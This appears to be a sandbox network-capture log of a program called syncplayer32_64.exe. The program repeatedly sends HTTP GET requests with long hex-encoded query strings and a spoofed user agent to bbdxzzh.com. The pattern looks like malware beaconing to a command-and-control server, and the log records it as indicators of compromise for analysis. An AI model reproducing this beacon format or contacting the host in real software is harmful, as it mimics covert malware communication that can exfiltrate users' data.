Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49959	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:31.103532076 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:32.026905060 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49966	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:32.150043011 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:33.060305119 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49972	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:33.181283951 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:34.107084990 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49978	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:34.228122950 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:35.167972088 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49984	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:35.291455030 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:36.213778019 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49993	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:36.337260962 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:37.260365963 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50000	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:37.383944035 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:38.282339096 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 5, 2024 02:15:38.394481897 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:38.694845915 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50007	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:38.826977968 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:39.768481970 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50016	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:39.884989977 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:40.808901072 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50022	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:40.931548119 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:41.841882944 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50030	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:41.963979006 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:42.876575947 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 5, 2024 02:15:42.988270044 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:43.296240091 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50039	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:43.415334940 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:44.337795973 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50045	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:44.462308884 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:45.383307934 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50050	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:45.508907080 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:46.434077024 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50051	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:46.557611942 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:47.470503092 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Nov 5, 2024 02:15:47.581784964 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:47.884053946 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50052	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:48.008928061 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:48.928807974 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50053	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:49.040009975 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:49.984164953 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50054	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:50.102724075 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:51.054639101 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50055	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:51.181107998 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:52.094575882 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50056	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:52.212630987 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:53.267668962 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50057	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:53.401473999 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:54.323297024 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50058	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:54.449378014 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:55.382477999 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50059	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:55.510847092 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Nov 5, 2024 02:15:56.434573889 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 05 Nov 2024 01:15:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50060	185.208.158.202	80	7112	C:\Users\user\AppData\Local\SyncPlayer 1.2.8\syncplayer32_64.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 02:15:56.906712055 CET	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1 Host: bbdxzzh.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
